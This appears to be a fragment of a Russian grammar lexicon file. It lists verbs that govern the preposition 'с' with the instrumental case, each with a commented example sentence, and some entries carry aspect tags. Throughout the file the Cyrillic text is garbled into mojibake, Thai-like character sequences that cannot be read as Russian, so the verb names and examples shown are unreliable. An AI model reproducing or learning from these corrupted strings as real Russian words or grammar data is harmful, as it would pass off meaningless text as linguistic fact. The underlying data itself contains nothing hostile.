rus_verbs:ะะซะ ะะะขะฌะกะฏ{}, // ัะพั ั ัััะดะพะผ ะฒััะฒะฐะปัั (ะะซะ ะะะขะฌะกะฏ ะก ัะฒะพั)
rus_verbs:ะกะะะ ะะขะฌะกะฏ{}, // ะฝัะถะฝะพ ัะพะฑัะฐัััั ั ัะธะปะฐะผะธ (ะกะะะ ะะขะฌะกะฏ ะก)
rus_verbs:ะฃะะะะะขะฌะกะฏ{}, // ัะดะฐะฒะฐะปะพัั ััะพ ั ัััะดะพะผ (ะฃะะะะะขะฌะกะฏ ะก)
rus_verbs:ะ ะะกะะะฅะะฃะขะฌะกะฏ{}, // ะดะฒะตัั ั ััะตัะบะพะผ ัะฐัะฟะฐั
ะฝัะปะฐัั (ะ ะะกะะะฅะะฃะขะฌะกะฏ ะก)
rus_verbs:ะะะะะฎะะะขะฌ{}, // ะะปะตะณ ะฝะฐะฑะปัะดะฐะป ั ะปัะฑะพะฟััััะฒะพะผ (ะะะะะฎะะะขะฌ ะก)
rus_verbs:ะะะขะฏะะฃะขะฌ{}, // ะทะฐัะตะผ ั ัะธะปะพะน ะฟะพััะฝัะป (ะะะขะฏะะฃะขะฌ ะก)
rus_verbs:ะะะะะฃะขะฌ{}, // ะะธัะตั ั ัััะดะพะผ ะบะธะฒะฝัะป (ะะะะะฃะขะฌ ะก)
rus_verbs:ะกะะะะขะะฃะขะฌ{}, // ะะพัะธั ั ัััะดะพะผ ัะณะปะพัะฝัะป (ะกะะะะขะะฃะขะฌ ะก)
rus_verbs:ะะะะ ะะขะฌ{}, // ะทะฐะฑัะฐัั ะตะณะพ ั ัะพะฑะพะน (ะะะะ ะะขะฌ ะก)
rus_verbs:ะะขะะ ะซะขะฌะกะฏ{}, // ะดะฒะตัั ั ัะธะฟะตะฝะธะตะผ ะพัะบััะปะฐัั (ะะขะะ ะซะขะฌะกะฏ ะก)
rus_verbs:ะะขะะ ะะะขะฌ{}, // ั ััะธะปะธะตะผ ะพัะพัะฒะฐะป ะฒะทะณะปัะด (ะะขะะ ะะะขะฌ ะก ัะฒะพั)
rus_verbs:ะะะะฏะะะขะฌะกะฏ{}, // ะ ะพะผะฐ ั ะปัะฑะพะฟััััะฒะพะผ ะพะณะปัะดะตะปัั (ะะะะฏะะะขะฌะกะฏ ะก)
rus_verbs:ะคะซะ ะะะฃะขะฌ{}, // ัััะพะบ ัััะบะฝัะป ั ะพัะฒัะฐัะตะฝะธะตะผ (ะคะซะ ะะะฃะขะฌ ะก)
rus_verbs:ัะพะณะปะฐัะธัััั{}, // ั ััะธะผ ัะพะณะปะฐัะธะปะธัั ะฒัะต (ัะพะณะปะฐัะธัััั ั)
rus_verbs:ะะะกะซะะะขะฌะกะฏ{}, // ั ะณัะพั
ะพัะพะผ ะฟะพััะฟะฐะปะธัั ะบะฐะผะฝะธ (ะะะกะซะะะขะฌะกะฏ ะก ัะฒะพั)
rus_verbs:ะะะะะฅะะฃะขะฌ{}, // ะะปะธัะฐ ะฒะทะดะพั
ะฝัะปะฐ ั ะพะฑะปะตะณัะตะฝะธะตะผ (ะะะะะฅะะฃะขะฌ ะก)
rus_verbs:ะะะะ ะะฃะขะฌะกะฏ{}, // ัะฐ ั ัะดะธะฒะปะตะฝะธะตะผ ะพะฑะตัะฝัะปะฐัั (ะะะะ ะะฃะขะฌะกะฏ ะก)
rus_verbs:ะฅะะซะะะฃะขะฌ{}, // ะะปะตะบัะตะน ั
ะผัะบะฝัะป ั ัะพะผะฝะตะฝะธะตะผ (ะฅะะซะะะฃะขะฌ ะก ัะฒะพั)
rus_verbs:ะะซะะฅะะขะฌ{}, // ะพะฝะธ ะฒัะตั
ะฐะปะธ ั ัะฐััะฒะตัะพะผ (ะะซะะฅะะขะฌ ะก ัะฒะพั)
rus_verbs:ะะซะะะฅะะฃะขะฌ{}, // ะะปะฐะดะธะผะธั ะฒัะดะพั
ะฝัะป ั ะพะฑะปะตะณัะตะฝะธะตะผ (ะะซะะะฅะะฃะขะฌ ะก)
rus_verbs:ะฃะฅะะซะะฌะะฃะขะฌะกะฏ{}, // ะะตัะฐ ัั
ะผัะปัะฝัะปัั ั ัะพะผะฝะตะฝะธะตะผ (ะฃะฅะะซะะฌะะฃะขะฌะกะฏ ะก)
rus_verbs:ะะะกะขะะกะฌ{}, // ัะพั ะฝะตััั ั ะบัะธะบะพะผ (ะะะกะขะะกะฌ ะก ัะฒะพั)
rus_verbs:ะะะะะขะฌ{}, // ะฟะฐะดะฐัั ั ะณะปัั
ะธะผ ัััะบะพะผ (ะะะะะขะฌ ะก ัะฒะพั)
rus_verbs:ะขะะะ ะะขะฌะกะฏ{}, // ัััะฐะฝะฝะพะต ัะฒะพัะธะปะพัั ั ะณะปะฐะทะฐะผะธ (ะขะะะ ะะขะฌะกะฏ ะก ัะฒะพั)
rus_verbs:ะฃะฅะะะะขะฌ{}, // ั ะฝะธะผะธ ัั
ะพะดะธะปะธ ัะปััั (ะฃะฅะะะะขะฌ ะก ัะฒะพั)
rus_verbs:ะกะะะะะขะฌ{}, // ัะบะฐะบะฐะปะธ ััั ั ัะพะฟะพัะฐะผะธ (ะกะะะะะขะฌ ะก ัะฒะพั)
rus_verbs:ะะกะขะฌ{}, // ะทะดะตัั ะตะดัั ั ะทะตะปะตะฝัั (ะะกะขะฌ ะก ัะฒะพั)
rus_verbs:ะะะฏะะะขะฌะกะฏ{}, // ั ัะฐััะฒะตัะพะผ ะฟะพัะฒะธะปะธัั ะฟัะธัั (ะะะฏะะะขะฌะกะฏ ะก ัะฒะพั)
rus_verbs:ะะกะะะงะะขะฌ{}, // ะะปะตะณ ะฒัะบะพัะธะป ั ะณะพัะพะฒะฝะพัััั (ะะกะะะงะะขะฌ ะก ัะฒะพั)
rus_verbs:ะะซะขะฌ{}, // ั
ะพัั ะฑััั ั ัะพะฑะพะน (ะะซะขะฌ ะก ัะฒะพั)
rus_verbs:ะะะะะงะะขะฌ{}, // ั ัะพะผะฝะตะฝะธะตะผ ะฟะพะบะฐัะฐะป ะณะพะปะพะฒะพะน. (ะะะะะงะะขะฌ ะก ะกะะะะะะะะ)
rus_verbs:ะะซะ ะฃะะะขะฌะกะฏ{}, // ะบะฐะฟะธัะฐะฝ ั ััะฒััะฒะพะผ ะฒัััะณะฐะปัั (ะะซะ ะฃะะะขะฌะกะฏ ะก ะงะฃะะกะขะะะ)
rus_verbs:ะะขะะ ะซะขะฌ{}, // ั ัััะดะพะผ ะพัะบััะป ะณะปะฐะทะฐ (ะะขะะ ะซะขะฌ ะก ะขะ ะฃะะะ, ัะฐะบะธั
ะผะฝะพะณะพ)
rus_verbs:ะะะะฃะงะะขะฌะกะฏ{}, // ะทะฐะฑะฐะฒะฝะพ ะฟะพะปััะธะปะพัั ั ะฝะธะผ (ะะะะฃะงะะขะฌะกะฏ ะก)
rus_verbs:ะะซะะะะะขะฌ{}, // ััะฐััะน ะฒัะฑะตะถะฐะป ั ะบะพะฟัะตะผ (ะะซะะะะะขะฌ ะก)
rus_verbs:ะะะขะะะะขะฌะกะฏ{}, // ะะพะปััะธะฝััะฒะพ ะบะพะผะฟะพัะพะฒ ะณะพัะพะฒะธััั ั ะธัะฟะพะปัะทะพะฒะฐะฝะธะตะผ ัะฐั
ะฐัะฐ (ะะะขะะะะขะฌะกะฏ ะก)
rus_verbs:ะะะะะกะะฃะขะะ ะะะะขะฌ{}, // ั ะฑั ะฟะพะดะธัะบััะธัะพะฒะฐะป ั ะะฝะดััั
ะพะน (ะะะะะกะะฃะขะะ ะะะะขะฌ ะก)
rus_verbs:ะขะฃะกะะขะฌ{}, // ะบัะพ ัััะธะป ัะพ ะกะฒะตัะบะพะน (ะขะฃะกะะขะฌ ะก)
rus_verbs:ะะะะะขะฌ{}, // ะบัะดะฐ ะพะฝะฐ ะฑะตะถะธั ัะพ ะฒัะตะผะธ? (ะะะะะขะฌ ะก ัะฒะพั)
rus_verbs:ะะะ ะะขะฌ{}, // ัั ะณะพัะตะป ัะพ ัะฒะพะธะผ ะบะพัะฐะฑะปะตะผ? (ะะะ ะะขะฌ ะก)
rus_verbs:ะะซะะะขะฌ{}, // ั
ะพัะธัะต ะฒัะฟะธัั ัะพ ะผะฝะพะน ัะฐั? (ะะซะะะขะฌ ะก)
rus_verbs:ะะะะฏะขะฌะกะฏ{}, // ะฏ ะผะตะฝัััั ั ัะพะฒะฐัะธัะตะผ ะบะฝะธะณะฐะผะธ. (ะะะะฏะขะฌะกะฏ ะก)
rus_verbs:ะะะะฏะขะฌะกะฏ{}, // ะะฝ ัะถะต ะฝะตะดะตะปั ะฒะฐะปัะตััั ั ะณัะธะฟะฟะพะผ. (ะะะะฏะขะฌะกะฏ ะก)
rus_verbs:ะะะขะฌ{}, // ะฒั ะดะฐะถะต ะฑัะดะตัะต ะฟะธัั ัะพ ะผะฝะพะน ะฟะธะฒะพ. (ะะะขะฌ ะก)
ะธะฝัะธะฝะธัะธะฒ:ะบัะธััะฐะปะปะธะทะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, // ะะพัะปะต ััะพะณะพ ะฟะตัะตัััะตะฝะฝัะน ัะฐััะฒะพั ะบัะธััะฐะปะปะธะทัะตััั ั ะพะฑัะฐะทะพะฒะฐะฝะธะตะผ ะบัะธััะฐะปะปะพะฒ ัะฐั
ะฐัะฐ.
ะธะฝัะธะฝะธัะธะฒ:ะบัะธััะฐะปะปะธะทะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะบัะธััะฐะปะปะธะทะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะบัะธััะฐะปะปะธะทะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะะะะะฉะะขะฌะกะฏ{}, // ะฟะพะพะฑัะฐะนัั ั ะะพัะธัะพะผ (ะะะะะฉะะขะฌะกะฏ ะก)
rus_verbs:ะะะะะะฏะขะฌะกะฏ{}, // ะะธัะฐ ะพะฑะผะตะฝัะปัั ั ะะตัะตะน ะผะฐัะบะฐะผะธ (ะะะะะะฏะขะฌะกะฏ ะก)
rus_verbs:ะะ ะะฅะะะะขะฌ{}, // ะผั ั ัะพะฑะพะน ัะตะณะพะดะฝั ะฒะตัั ะดะตะฝั ะฟัะพั
ะพะดะธะปะธ ั ะฒะตัะฐะผะธ. (ะะ ะะฅะะะะขะฌ ะก)
rus_verbs:ะะกะขะะขะฌ{}, // ะะฝ ะทะฐะฝะธะผะฐะปัั ะฒัั ะฝะพัั ะธ ะฒััะฐะป ั ะณะพะปะพะฒะฝะพะน ะฑะพะปัั. (ะะกะขะะขะฌ ะก)
rus_verbs:ะะะะ ะะะะะะขะฌ{}, // ะะะค ัะตะบะพะผะตะฝะดัะตั ะัะปะฐะฝะดะธะธ ะฟะพะฒัะตะผะตะฝะธัั ั ะผะตัะฐะผะธ ัะบะพะฝะพะผะธะธ (ะะะะ ะะะะะะขะฌ ะก)
rus_verbs:ะะะฏะะะขะฌ{}, // ะั ะณะปะฐะทะฐ ะณะปัะดะตะปะธ ั ะผัะณะบะพะน ะณัััััั. (ะะะฏะะะขะฌ ะก + ัะฒะพั)
rus_verbs:ะะซะกะะะงะะขะฌ{}, // ะะฐัะตะผ ัั ะฒััะบะพัะธะป ัะพ ัะฒะพะธะผ ะทะฐะผะตัะฐะฝะธะตะผ? (ะะซะกะะะงะะขะฌ ะก)
rus_verbs:ะะะกะขะ{}, // ะฟะปะพั ะฝะตัะปะพ ัะพ ัััะฐัะฝะพะน ัะธะปะพะน. (ะะะกะขะ ะก)
rus_verbs:ะฟัะธะฑะปะธะถะฐัััั{}, // ััะตะฝะฐ ะฟัะธะฑะปะธะถะฐะปะฐัั ัะพ ัััะฐัะฝะพะน ะฑััััะพัะพะน. (ะฟัะธะฑะปะธะถะฐัััั ั)
rus_verbs:ะทะฐะฝะธะผะฐัััั{}, // ะะพัะปะต ััะพะบะพะฒ ั ะทะฐะฝะธะผะฐะปัั ั ะพัััะฐััะธะผะธ ััะตะฝะธะบะฐะผะธ. (ะทะฐะฝะธะผะฐัััั ั)
rus_verbs:ัะฐะทัะฐะฑะพัะฐัั{}, // ะญัะพั ะปะตะบะฐัััะฒะตะฝะฝัะน ะฟัะตะฟะฐัะฐั ัะฐะทัะฐะฑะพัะฐะฝ ั ะธัะฟะพะปัะทะพะฒะฐะฝะธะตะผ ัะตัะตะฟัะพะฒ ััะฐะดะธัะธะพะฝะฝะพะน ะบะธัะฐะนัะบะพะน ะผะตะดะธัะธะฝั. (ัะฐะทัะฐะฑะพัะฐัั ั)
rus_verbs:ะฒะตััะธัั{}, // ะ ะฐะทัะฐะฑะพัะบะฐ ะผะตััะพัะพะถะดะตะฝะธั ะฒะตะดะตััั ั ะธัะฟะพะปัะทะพะฒะฐะฝะธะตะผ ะฑะพะปััะพะณะพ ะบะพะปะธัะตััะฒะฐ ัะตั
ะฝะธะบะธ. (ะฒะตััะธัั ั)
rus_verbs:ะบะพะฝัะปะธะบัะพะฒะฐัั{}, // ะะฐัะฐ ะบะพะฝัะปะธะบััะตั ั ะะตัะตะน (ะบะพะฝัะปะธะบัะพะฒะฐัั ั)
rus_verbs:ะผะตัะฐัั{}, // ะผะตัะฐัั ะฒะพะดั ั ะผัะบะพะน (ะผะตัะฐัั ั)
rus_verbs:ะธะผะตัั{}, // ะผะฝะต ัะถะต ะฟัะธั
ะพะดะธะปะพัั ะฝะตัะบะพะปัะบะพ ัะฐะท ะธะผะตัั ั ะฝะธะผ ะดะตะปะพ.
rus_verbs:ัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัั{}, // ัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัั ั ััะฐะปะพะฝะฝัะผ ะณะตะฝะตัะฐัะพัะพะผ
rus_verbs:ะทะฐัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัั{}, // ะทะฐัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัั ั ััะฐะปะพะฝะฝัะผ ะณะตะฝะตัะฐัะพัะพะผ
rus_verbs:ัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัััั{}, // ัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัััั ั ััะฐะปะพะฝะฝัะผ ะณะตะฝะตัะฐัะพัะพะผ
rus_verbs:ะทะฐัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัััั{}, // ะทะฐัะธะฝั
ัะพะฝะธะทะธัะพะฒะฐัััั ั ััะฐะปะพะฝะฝัะผ ะณะตะฝะตัะฐัะพัะพะผ
rus_verbs:ััะธัะฐัั{}, // ััะธัะฐัั ั ะผัะปะพะผ ััะฑะฐัะบั ะฒ ัะฐะทั
rus_verbs:ะฟััะณะฐัั{}, // ะฟะฐัะฐัััะธัั ะฟััะณะฐะตั ั ะฟะฐัะฐัััะพะผ
rus_verbs:ะฒััััะฟะธัั{}, // ะะฝ ะฒััััะฟะธะป ั ะฟัะธะฒะตัััะฒะธะตะผ ััะตะทะดั.
rus_verbs:ั
ะพะดะธัั{}, // ะ ััะถะพะน ะผะพะฝะฐััััั ัะพ ัะฒะพะธะผ ัััะฐะฒะพะผ ะฝะต ั
ะพะดัั.
rus_verbs:ะพัะพะทะฒะฐัััั{}, // ะะฝ ะพัะพะทะฒะฐะปัั ะพะฑ ััะพะน ะบะฝะธะณะต ั ะฑะพะปััะพะน ะฟะพั
ะฒะฐะปะพะน.
rus_verbs:ะพัะทัะฒะฐัััั{}, // ะะฝ ะพัะทัะฒะฐะตััั ะพะฑ ััะพะน ะบะฝะธะณะต ั ะฑะพะปััะพะน ะฟะพั
ะฒะฐะปะพะน.
rus_verbs:ะฒััะฐะฒะฐัั{}, // ะพะฝ ะฒััะฐัั ั ะทะฐััะน
rus_verbs:ะผะธัะธัั{}, // ะะณะพ ัะผ ะผะธัะธะป ะฒัะตั
ั ะตะณะพ ะดััะฝัะผ ั
ะฐัะฐะบัะตัะพะผ.
rus_verbs:ะฟัะพะดะพะปะถะฐัััั{}, // ัััะตะปัะฑะฐ ัะตะผ ะฒัะตะผะตะฝะตะผ ะฟัะพะดะพะปะถะฐะปะฐัั ั ะฟัะตะถะฝะตะน ัะพัะฝะพัััั.
rus_verbs:ะดะพะณะพะฒะพัะธัััั{}, // ะผั ะดะพะณะพะฒะพัะธะผัั ั ะฒะฐะผะธ
rus_verbs:ะฟะพะฑััั{}, // ะพะฝ ั
ะพัะตะป ะฟะพะฑััั ั ัะพะฑะพะน
rus_verbs:ัะฐััะธ{}, // ะะธัะพะฒัะต ะฟัะพะธะทะฒะพะดััะฒะตะฝะฝัะต ะผะพัะฝะพััะธ ัะฐัััั ั ะฑะตัะฟัะตัะตะดะตะฝัะฝะพะน ัะบะพัะพัััั
rus_verbs:ะฒัะทะฐัััั{}, // ะฒัะทะฐัััั ั ัะฐะบัะฐะผะธ
rus_verbs:ะพัะฝะตััะธัั{}, // ะพัะฝะตััะธัั ะบ ะถะธะฒะพัะฝัะผ ั ัะพััััะฒะธะตะผ
rus_verbs:ะพัะฝะพัะธัััั{}, // ะพัะฝะพัะธัััั ั ะฟะพะฝะธะผะฐะฝะธะตะผ
rus_verbs:ะฟะพะนัะธ{}, // ะกะฟะตะบัะฐะบะปั ะฟะพะนะดัั ั ััะฐััะธะตะผ ะธะทะฒะตััะฝัั
ะฐััะธััะพะฒ.
rus_verbs:ะฑัะฐะบะพัะพัะตัะฐัััั{}, // ะะพัะพะผััะฒะตะฝะฝัะน ะบัะทะฝะตั ะฑัะฐะบะพัะพัะตัะฐะปัั ั ัะฐะทะพัะธะฒัะตะนัั ะณัะฐัะธะฝะตะน
rus_verbs:ะณัะปััั{}, // ะฑะฐะฑััะบะฐ ะณัะปัะตั ั ะฒะฝัะบะพะผ
rus_verbs:ัะฐะทะฑะธัะฐัััั{}, // ัะฐะทะฑะธัะฐัััั ั ะทะฐะดะฐัะตะน
rus_verbs:ัะฒะตัะธัั{}, // ะะฐะฝะฝัะต ะฑัะปะธ ัะฒะตัะตะฝั ั ััะฐะปะพะฝะฝัะผะธ ะทะฝะฐัะตะฝะธัะผะธ
rus_verbs:ะดะตะปะฐัั{}, // ะงัะพ ะดะตะปะฐัั ัะพ ััะฐััะผ ัะตะปะตัะพะฝะพะผ
rus_verbs:ะพัะผะฐััะธะฒะฐัั{}, // ะพัะผะฐััะธะฒะฐัั ั ัะดะธะฒะปะตะฝะธะตะผ
rus_verbs:ะพะฑััะดะธัั{}, // ะพะฑััะดะธัั ั ะฟัะธััะตะปะตะผ ะฟัะพั
ะพะถะดะตะฝะธะต ััะพะฒะฝั ะฒ ะฝะพะฒะพะน ะธะณัะต
rus_verbs:ะฟะพะฟัะพัะฐัััั{}, // ะฟะพะฟัะพัะฐัััั ั ัะฐะปะฐะฝัะปะธะฒัะผ ะฐะบัะตัะพะผ
rus_verbs:ะทะฐะดัะตะผะฐัั{}, // ะทะฐะดัะตะผะฐัั ั ะบััะถะบะพะน ัะฐั ะฒ ััะบะต
rus_verbs:ัะฒัะทะฐัั{}, // ัะฒัะทะฐัั ะบะฐัะฐัััะพัั ั ะดะตะนััะฒะธัะผะธ ะบะพะฝะบััะตะฝัะพะฒ
rus_verbs:ะฝะพัะธัััั{}, // ะฝะพัะธัััั ั ะฑะตะทัะผะฝะพะน ะธะดะตะตะน
rus_verbs:ะบะพะฝัะฐัั{}, // ะบะพะฝัะฐัั ั ัะพะฑะพะน
rus_verbs:ะพะฑะผะตะฝะธะฒะฐัััั{}, // ะพะฑะผะตะฝะธะฒะฐัััั ั ัะพะฑะตัะตะดะฝะธะบะฐะผะธ
rus_verbs:ะฟะตัะตะณะพะฒะฐัะธะฒะฐัััั{}, // ะฟะตัะตะณะพะฒะฐัะธะฒะฐัััั ั ะผะฐัะบะพะผ
rus_verbs:ะพะฑัะฐัััั{}, // ะพะฑัะฐัััั ั ะฟะพะปะธัะธะตะน
rus_verbs:ะทะฐะฒะตััะธัั{}, // ะทะฐะฒะตััะธัั ั ะพัะธะฑะบะพะน
rus_verbs:ะพะฑะฝััััั{}, // ะพะฑะฝััััั ั ะฟะพะดััะณะพะน
rus_verbs:ัะปะธะฒะฐัััั{}, // ัะปะธะฒะฐัััั ั ัะพะฝะพะผ
rus_verbs:ัะผะตัะฐัััั{}, // ัะผะตัะฐัััั ั ัะพะปะฟะพะน
rus_verbs:ะดะพะณะพะฒะฐัะธะฒะฐัััั{}, // ะดะพะณะพะฒะฐัะธะฒะฐัััั ั ะฟะพัะตัะฟะตะฒัะธะผ
rus_verbs:ะพะฑะตะดะฐัั{}, // ะพะฑะตะดะฐัั ั ะณะพัััะผะธ
rus_verbs:ัะพะพะฑัะฐัััั{}, // ัะพะพะฑัะฐัััั ั ะฟะพะดะทะตะผะฝะพะน ัะตะบะพะน
rus_verbs:ััะฐะปะบะธะฒะฐัััั{}, // ััะฐะปะบะธะฒะฐัััั ัะพ ััะฐะตะน ะฟัะธั
rus_verbs:ัะธัะฐัััั{}, // ัะธัะฐัััั ั ัััะดะพะผ
rus_verbs:ัะผะธัะธัััั{}, // ัะผะธัะธัััั ั ัััะฐัะพะน
rus_verbs:ัะฐะทะดะตะปะธัั{}, // ัะฐะทะดะตะปะธัั ั ะดััะณะธะผะธ ะพัะฒะตัััะฒะตะฝะฝะพััั
rus_verbs:ัะพะดะฝะธัั{}, // ัะพะดะฝะธัั ั ะผะตะดะฒะตะดะตะผ
rus_verbs:ะผะตะดะปะธัั{}, // ะผะตะดะปะธัั ั ะพัะฒะตัะพะผ
rus_verbs:ัะบัะตััะธัั{}, // ัะบัะตััะธัั ั ัะถะพะผ
rus_verbs:ะฟะพะบะพะธัััั{}, // ะฟะพะบะพะธัััั ั ะผะธัะพะผ
rus_verbs:ะดะตะปะธัััั{}, // ะดะตะปะธัััั ั ะดััะทััะผะธ
rus_verbs:ะฟะพะทะฝะฐะบะพะผะธัั{}, // ะฟะพะทะฝะฐะบะพะผะธัั ั ะะปะตะน
rus_verbs:ะฟะพัะฒะฐัั{}, // ะฟะพัะฒะฐัั ั ะะปะตะน
rus_verbs:ะทะฐะฒัะทะฐัั{}, // ะทะฐะฒัะทะฐัั ั ะะปะตะน ะทะฝะฐะบะพะผััะฒะพ
rus_verbs:ััะตัะธัััั{}, // ััะตัะธัััั ั ะธะทะดะฐะฝะธะตะผ ัะพะผะฐะฝะฐ
rus_verbs:ัะพะตะดะธะฝะธัััั{}, // ัะพะตะดะธะฝะธัััั ั ัะตัะฒะตัะพะผ
rus_verbs:ัะฟัะฐะฒะปััััั{}, // ัะฟัะฐะฒะปััััั ั ะฝัะถะดะพะน
rus_verbs:ะทะฐะผะตัะบะฐัััั{}, // ะทะฐะผะตัะบะฐัััั ั ะพัะฒะตัะพะผ
rus_verbs:ะฟะพััะพัะธัััั{}, // ะฟะพััะพัะธัััั ั ะฟะพะดััะณะพะน
rus_verbs:ััะพัะธัััั{}, // ััะพัะธัััั ั ะดััะทััะผะธ
rus_verbs:ัะพัะพะฟะธัั{}, // ัะพัะพะฟะธัั ั ัะตัะตะฝะธะตะผ
rus_verbs:ะฟะพะทะดัะฐะฒะธัั{}, // ะฟะพะทะดัะฐะฒะธัั ั ะฟะพะฑะตะดะพะน
rus_verbs:ะฟัะพััะธัััั{}, // ะฟัะพััะธัััั ั ัะตะปะพะฒะตะบะพะผ
rus_verbs:ะฟะพัะฐะฑะพัะฐัั{}, // ะฟะพัะฐะฑะพัะฐัั ั ะดะตัะตะฒะพะผ
rus_verbs:ะฟัะธะบะปััะธัััั{}, // ะฟัะธะบะปััะธัััั ั ะะพะปะตะน
rus_verbs:ัะณะพะฒะพัะธัััั{}, // ัะณะพะฒะพัะธัััั ั ะะฐะฝะตะน
rus_verbs:ะพััะตั
ะฐัั{}, // ะพััะตั
ะฐัั ั ัะตะฒะพะผ
rus_verbs:ะพะฑัะตะดะธะฝััั{}, // ะพะฑัะตะดะธะฝััั ั ะดััะณะพะน ะบะฐะผะฟะฐะฝะธะตะน
rus_verbs:ัะฟะพััะตะฑะธัั{}, // ัะฟะพััะตะฑะธัั ั ะผะพะปะพะบะพะผ
rus_verbs:ะฟะตัะตะฟััะฐัั{}, // ะฟะตัะตะฟััะฐัั ั ะดััะณะพะน ะบะฝะธะณะพะน
rus_verbs:ะทะฐะฟะพะทะดะฐัั{}, // ะทะฐะฟะพะทะดะฐัั ั ะพัะฒะตัะพะผ
rus_verbs:ะฟะพะดััะถะธัััั{}, // ะฟะพะดััะถะธัััั ั ะดััะณะธะผะธ ะดะตััะผะธ
rus_verbs:ะดััะถะธัั{}, // ะดััะถะธัั ั ะกะตัะตะถะตะน
rus_verbs:ะฟะพัะฐะฒะฝััััั{}, // ะฟะพัะฐะฒะฝััััั ั ัะธะฝะธัะฝะพะน ัะตััะพะน
rus_verbs:ัะถะธะฝะฐัั{}, // ัะถะธะฝะฐัั ั ะณะพัััะผะธ
rus_verbs:ัะฐัััะฐะฒะฐัััั{}, // ัะฐัััะฐะฒะฐัััั ั ะฟัะธััะตะปัะผะธ
rus_verbs:ะทะฐะฒััะฐะบะฐัั{}, // ะทะฐะฒััะฐะบะฐัั ั ัะตะผัะตะน
rus_verbs:ะพะฑัะตะดะธะฝะธัััั{}, // ะพะฑัะตะดะธะฝะธัััั ั ัะพัะตะดัะผะธ
rus_verbs:ัะผะตะฝััััั{}, // ัะผะตะฝััััั ั ะฝะฐะฟะฐัะฝะธะบะพะผ
rus_verbs:ัะพะตะดะธะฝะธัั{}, // ัะพะตะดะธะฝะธัั ั ัะตััั
rus_verbs:ัะฐะทะณะพะฒะพัะธัััั{}, // ัะฐะทะณะพะฒะพัะธัััั ั ะพั
ัะฐะฝะฝะธะบะพะผ
rus_verbs:ะฟัะตะฟะพะดะฝะตััะธ{}, // ะฟัะตะฟะพะดะฝะตััะธ ั ะฟะพะผะฟะพะน
rus_verbs:ะฝะฐะฟะตัะฐัะฐัั{}, // ะฝะฐะฟะตัะฐัะฐัั ั ะบะฐััะธะฝะบะฐะผะธ
rus_verbs:ัะพะตะดะธะฝััั{}, // ัะพะตะดะธะฝััั ั ัะตััั
rus_verbs:ัะฐัะฟัะฐะฒะธัััั{}, // ัะฐัะฟัะฐะฒะธัััั ั ะฑะตะทะทะฐัะธัะฝัะผ ัะตะปะพะฒะตะบะพะผ
rus_verbs:ัะฐัะฟัะพัะฐัััั{}, // ัะฐัะฟัะพัะฐัััั ั ะดะตะฝัะณะฐะผะธ
rus_verbs:ััะฐะฒะฝะธัั{}, // ััะฐะฒะฝะธัั ั ะบะพะฝะบััะตะฝัะฐะผะธ
rus_verbs:ะพะทะฝะฐะบะพะผะธัััั{}, // ะพะทะฝะฐะบะพะผะธัััั ั ะฒััััะฟะปะตะฝะธะตะผ
ะธะฝัะธะฝะธัะธะฒ:ัะพัะตัะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะพัะตัะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ัะพัะตัะฐัััั ั ััะผะพัะบะพะน
ะดะตะตะฟัะธัะฐััะธะต:ัะพัะตัะฐััั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะพัะตัะฐััะธะนัั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะพัะตัะฐะฒัะธะนัั{},
rus_verbs:ะธะทะฝะฐัะธะปะพะฒะฐัั{}, // ะธะทะฝะฐัะธะปะพะฒะฐัั ั ะฟัะธะผะตะฝะตะฝะธะตะผ ััะตะทะฒััะฐะนะฝะพะณะพ ะฝะฐัะธะปะธั
rus_verbs:ะฟัะพัะฐัััั{}, // ะฟัะพัะฐัััั ั ะฑะพะตะฒัะผ ัะพะฒะฐัะธัะตะผ
rus_verbs:ััะฐะฒะฝะธะฒะฐัั{}, // ััะฐะฒะฝะธะฒะฐัั ั ะบะพะฝะบััะตะฝัะฐะผะธ
rus_verbs:ัะบะปะฐะดัะฒะฐัั{}, // ัะบะปะฐะดัะฒะฐัั ั ะฒะตัะพะผ ัะฟะฐะบะพะฒะบะธ
rus_verbs:ะฟะพะฒะตััะธัั{}, // ะฟะพะฒะตััะธัั ั ะฒะพัะฐะผะธ
rus_verbs:ััะพะปะบะฝััั{}, // ััะพะปะบะฝััั ั ะพัะฑะพะนะฝะธะบะพะผ
rus_verbs:ะฟะตัะตะณะปัะดัะฒะฐัััั{}, // ะฟะตัะตะณะปัะดัะฒะฐัััั ั ัะพัะตะดะพะผ
rus_verbs:ะฟะพัะพัะพะฟะธัั{}, // ะฟะพัะพัะพะฟะธัั ั ะพัะบะปะธะบะพะผ
rus_verbs:ัะฐะทะฒะปะตะบะฐัััั{}, // ัะฐะทะฒะปะตะบะฐัััั ั ะฟะพะดััะถะบะฐะผะธ
rus_verbs:ะทะฐะณะพะฒะฐัะธะฒะฐัั{}, // ะทะฐะณะพะฒะฐัะธะฒะฐัั ั ะฝะตะทะฝะฐะบะพะผัะฐะผะธ
rus_verbs:ะฟะพัะตะปะพะฒะฐัััั{}, // ะฟะพัะตะปะพะฒะฐัััั ั ะฟะตัะฒะพะน ะดะตะฒััะบะพะน
ะธะฝัะธะฝะธัะธะฒ:ัะพะณะปะฐัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะพะณะปะฐัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ัะพะณะปะฐัะพะฒะฐัััั ั ะฟะพะดะปะตะถะฐัะธะผ
ะดะตะตะฟัะธัะฐััะธะต:ัะพะณะปะฐััััั{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะพะณะปะฐััััะธะนัั{},
